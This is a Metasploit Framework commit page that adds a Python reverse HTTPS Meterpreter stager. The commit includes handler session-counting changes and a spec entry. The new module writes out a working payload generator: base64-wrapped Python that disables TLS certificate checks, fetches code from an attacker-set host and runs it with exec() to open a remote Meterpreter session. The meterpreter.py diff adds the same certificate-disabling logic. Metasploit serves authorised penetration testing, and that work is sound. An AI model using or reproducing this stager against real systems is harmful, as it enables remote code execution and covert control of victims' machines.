Skip to content

Commit e0568e9

Browse files
author
Brent Cook
committed
Land rapid7#4978 @zeroSteiner adds reverse https for python meterpreter
2 parents 955c055 + 5ac1ee1 commit e0568e9

File tree

5 files changed

+159
-7
lines changed

5 files changed

+159
-7
lines changed

data/meterpreter/meterpreter.py

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -264,7 +264,7 @@ def tlv_pack(*args):
264264
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
265265
else:
266266
value = tlv['value']
267-
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
267+
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
268268
value = value.encode('UTF-8')
269269
elif not is_bytes(value):
270270
value = bytes(value, 'UTF-8')
@@ -393,11 +393,17 @@ def debug_print(self, msg):
393393
print(msg)
394394

395395
def driver_init_http(self):
396+
opener_args = []
397+
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
398+
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
399+
import ssl
400+
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
401+
ssl_ctx.check_hostname=False
402+
ssl_ctx.verify_mode=ssl.CERT_NONE
403+
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
396404
if HTTP_PROXY:
397-
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
398-
opener = urllib.build_opener(proxy_handler)
399-
else:
400-
opener = urllib.build_opener()
405+
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
406+
opener = urllib.build_opener(*opener_args)
401407
if HTTP_USER_AGENT:
402408
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
403409
urllib.install_opener(opener)

lib/msf/core/handler.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,9 @@ def initialize(info = {})
7777
# Initialize the pending_connections counter to 0
7878
self.pending_connections = 0
7979

80+
# Initialize the sessions counter to 0
81+
self.sessions = 0
82+
8083
# Create the waiter event with auto_reset set to false so that
8184
# if a session is ever created, waiting on it returns immediately.
8285
self.session_waiter_event = Rex::Sync::Event.new(false, false)
@@ -234,10 +237,14 @@ def register_session(session)
234237
# Decrement the pending connections counter now that we've processed
235238
# one session.
236239
self.pending_connections -= 1
240+
241+
# Count the number of sessions we have registered
242+
self.sessions += 1
237243
end
238244

239245
attr_accessor :session_waiter_event # :nodoc:
240246
attr_accessor :pending_connections # :nodoc:
247+
attr_accessor :sessions # :nodoc:
241248

242249
end
243250

lib/msf/core/handler/reverse_http.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -163,7 +163,7 @@ def setup_handler
163163
def stop_handler
164164
if self.service
165165
self.service.remove_resource("/")
166-
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
166+
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
167167
end
168168
end
169169

@@ -220,6 +220,8 @@ def on_request(cli, req, obj)
220220

221221
uri_match = process_uri_resource(req.relative_resource)
222222

223+
self.pending_connections += 1
224+
223225
# Process the requested resource.
224226
case uri_match
225227
when /^\/INITPY/
@@ -255,7 +257,6 @@ def on_request(cli, req, obj)
255257
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
256258
:ssl => ssl?,
257259
})
258-
self.pending_connections += 1
259260

260261
when /^\/INITJM/
261262
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
@@ -346,6 +347,7 @@ def on_request(cli, req, obj)
346347
resp.code = 200
347348
resp.message = "OK"
348349
resp.body = datastore['HttpUnknownRequestResponse'].to_s
350+
self.pending_connections -= 1
349351
end
350352

351353
cli.send_response(resp) if (resp)
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_https'
8+
9+
module Metasploit3
10+
11+
CachedSize = 742
12+
13+
include Msf::Payload::Stager
14+
15+
def initialize(info = {})
16+
super(merge_info(info,
17+
'Name' => 'Python Reverse HTTPS Stager',
18+
'Description' => 'Tunnel communication over HTTP using SSL',
19+
'Author' => 'Spencer McIntyre',
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'python',
22+
'Arch' => ARCH_PYTHON,
23+
'Handler' => Msf::Handler::ReverseHttps,
24+
'Stager' => {'Payload' => ""}
25+
))
26+
27+
register_options(
28+
[
29+
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
30+
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
31+
], self.class)
32+
end
33+
34+
#
35+
# Constructs the payload
36+
#
37+
def generate
38+
lhost = datastore['LHOST'] || '127.127.127.127'
39+
40+
var_escape = lambda { |txt|
41+
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
42+
}
43+
44+
if Rex::Socket.is_ipv6?(lhost)
45+
target_url = "https://[#{lhost}]"
46+
else
47+
target_url = "https://#{lhost}"
48+
end
49+
50+
target_url << ':'
51+
target_url << datastore['LPORT'].to_s
52+
target_url << '/'
53+
target_url << generate_callback_uri
54+
55+
proxy_host = datastore['PayloadProxyHost'].to_s
56+
proxy_port = datastore['PayloadProxyPort'].to_i
57+
58+
if proxy_host == ''
59+
urllib_fromlist = "['HTTPSHandler','build_opener']"
60+
else
61+
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
62+
end
63+
64+
cmd = "import sys\n"
65+
cmd << "vi=sys.version_info\n"
66+
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
67+
cmd << "hs=[]\n"
68+
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
69+
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
70+
cmd << "\timport ssl\n"
71+
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
72+
cmd << "\tsc.check_hostname=False\n"
73+
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
74+
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
75+
76+
if proxy_host != ''
77+
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
78+
"http://[#{proxy_host}]:#{proxy_port}" :
79+
"http://#{proxy_host}:#{proxy_port}"
80+
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
81+
end
82+
83+
cmd << "o=ul.build_opener(*hs)\n"
84+
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
85+
cmd << "exec(o.open('#{target_url}').read())\n"
86+
87+
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
88+
b64_stub = "import base64,sys;exec(base64.b64decode("
89+
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
90+
b64_stub << Rex::Text.encode_base64(cmd)
91+
b64_stub << "')))"
92+
return b64_stub
93+
end
94+
95+
#
96+
# Determine the maximum amount of space required for the features requested
97+
#
98+
def required_space
99+
# Start with our cached default generated size
100+
space = cached_size
101+
102+
# Add 100 bytes for the encoder to have some room
103+
space += 100
104+
105+
# Make room for the maximum possible URL length
106+
space += 256
107+
108+
# The final estimated size
109+
space
110+
end
111+
112+
#
113+
# Return the longest URL that fits into our available space
114+
#
115+
def generate_callback_uri
116+
uri_req_len = 30 + rand(256-30)
117+
118+
# Generate the short default URL if we don't have enough space
119+
if self.available_space.nil? || required_space > self.available_space
120+
uri_req_len = 5
121+
end
122+
123+
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
124+
end
125+
126+
end

spec/modules/payloads_spec.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2045,6 +2045,17 @@
20452045
reference_name: 'python/meterpreter/reverse_http'
20462046
end
20472047

2048+
context 'python/meterpreter/reverse_https' do
2049+
it_should_behave_like 'payload cached size is consistent',
2050+
ancestor_reference_names: [
2051+
'stagers/python/reverse_https',
2052+
'stages/python/meterpreter'
2053+
],
2054+
dynamic_size: false,
2055+
modules_pathname: modules_pathname,
2056+
reference_name: 'python/meterpreter/reverse_https'
2057+
end
2058+
20482059
context 'python/meterpreter/reverse_tcp' do
20492060
it_should_behave_like 'payload cached size is consistent',
20502061
ancestor_reference_names: [

0 commit comments

Comments
 (0)